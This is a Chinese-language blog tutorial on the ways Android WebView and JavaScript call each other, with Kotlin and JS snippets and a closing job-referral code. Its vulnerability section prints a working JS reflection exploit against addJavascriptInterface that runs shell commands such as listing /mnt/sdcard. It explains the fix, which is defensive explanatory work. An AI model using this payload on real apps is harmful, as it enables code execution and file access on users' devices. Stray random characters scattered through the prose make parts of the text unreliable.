1.簡介
在使用webView的時(shí)候,免不了要與原生進(jìn)行交互危纫,比如打開鍵盤财破,獲取設(shè)備信息掰派。這時(shí)候Android與Js的交互就顯得尤為重要。下面就介紹一下5中基本交互方式左痢。
參考資料:Android與JS交互
2.Android與Js的5種基本交互方式
1)Anroid調(diào)用Js的2種方式
2.1.1)loadUrl(String url):
Android中:
webView.loadUrl("javascript:androidCallJs('我是android傳遞的參數(shù)')")
Js中:
<script>
androidCallJs = function(text){
alert(text)
}
</script>
這是webView最基本的用法靡羡,添加javascript:前綴來調(diào)用Js中的方法
2.1.2)evaluateJavascript(String script, ValueCallback<String> resultCallback):
Android中:
webView.evaluateJavascript("javascript:androidCallJsWithReturn('我是參數(shù)')", object : ValueCallback<String>{
override fun onReceiveValue(p0: String?) {
tv_js_return.text = p0
}
})
Js中:
<script>
androidCallJsWithReturn = function(text){
alert(text)
return "我是Js的返回值!"
}
</script>
Android4.4(api19)提供的函數(shù)俊性,在調(diào)用Js函數(shù)并獲取函數(shù)的返回值略步。注意在:獲取返回值的過程是異步的。
2)Js調(diào)用Android的3種方式
2.2.1)onJsPrompt()
Android中:
class JSBridgeWebChromeClient : WebChromeClient(){
override fun onJsPrompt(
view: WebView?, url: String?, message: String?, defaultValue: String?, result: JsPromptResult?): Boolean {
// do something
return super.onJsPrompt(view, url, message, defaultValue, result)
}
}
Js中:
<script>
function promptCallAndroid(){
var result=prompt("jsbridge://webview?arg1=111&arg2=222");
}
</script>
通過prompt通道進(jìn)行通信定页,Android中需要重寫onJsPrompt()方法來寫自己的處理邏輯趟薄。
2.2.2)shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean
Android中:
webView.webViewClient = object :WebViewClient(){
@RequiresApi(Build.VERSION_CODES.KITKAT)
override fun shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean {
if (url == null) {
return false
}
if (!url.startsWith("jsbridge")) {
return false
}
view?.loadUrl("javascript:androidCallJs('android已經(jīng)接收到')")
return true
}
}
Js中:
<script>
androidCallJs = function(text){
alert(text)
};
function callAndroid(){
<!--傳遞過去自動(dòng)轉(zhuǎn)換成小寫-->
document.location = "jsbridge://webview?arg1=111&arg2=222";
}
</script>
<div>
<button onclick="callAndroid()">
js調(diào)用原生(攔截方式)
</button>
</div>
Js發(fā)起一個(gè)頁面跳轉(zhuǎn)請求,在Android中進(jìn)行攔截典徊。在shouldOverrideUrlLoading()中對Url進(jìn)行判斷杭煎。
如果是提前約定好的協(xié)議規(guī)范,則攔截下來通過自己的邏輯處理卒落,同時(shí)可以通過loadUrl()調(diào)用一個(gè)Js函數(shù)通知Js羡铲,返回true表示已經(jīng)處理。
如果不是儡毕,則返回false也切,走正常的跳轉(zhuǎn)邏輯。
2.2.3)addJavascriptInterface(Object object, String name)
Android中:
class AndroidToJs{
@JavascriptInterface
fun hello(msg:String){
System.out.println(msg)
}
}
// 在WebView所在類中:
webView.addJavascriptInterface(AndroidToJs(), "app")
Js中:
<script>
function androidHello(){
app.hello("js調(diào)用Android,無返回值")
}
</script>
2.2.4)addJavascriptInterface()的漏洞:
(1)影響對象:
<4.2版本Android系統(tǒng)的對象 和 ≥4.2但App中函數(shù)沒加@JavascriptInterface的對象
(2)漏洞執(zhí)行惡意代碼的原理:
JS中可以遍歷window對象雷恃,找到存在“getClass”方法的對象的對象疆股,然后再通過反射的機(jī)制,得到Runtime對象褂萧,然后調(diào)用靜態(tài)方法來執(zhí)行一些命令押桃,比如exec()執(zhí)行控制臺(tái)指令訪問文件
(3)核心Js代碼如下:
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
(4)解決:
在Android4.2以及之后版本,為向Js提供的函數(shù)名添加@JavascriptInterface注釋
參考資料:https://blog.csdn.net/leehong2005/article/details/11808557
3.JsBridge的封裝思路
已有許多對JsBeidge的封裝框架可以借鑒导犹,在對業(yè)務(wù)邏輯進(jìn)行封裝時(shí)唱凯,可以參考下面的一些思想:
1.Android JsBridge 源碼解析
4.結(jié)束
又到秋招時(shí)節(jié)了,最后附上我的內(nèi)推碼和投遞鏈接:
內(nèi)推碼:UDXTM7B
投遞鏈接:https://job.toutiao.com/campus/
歡迎大家投遞谎痢。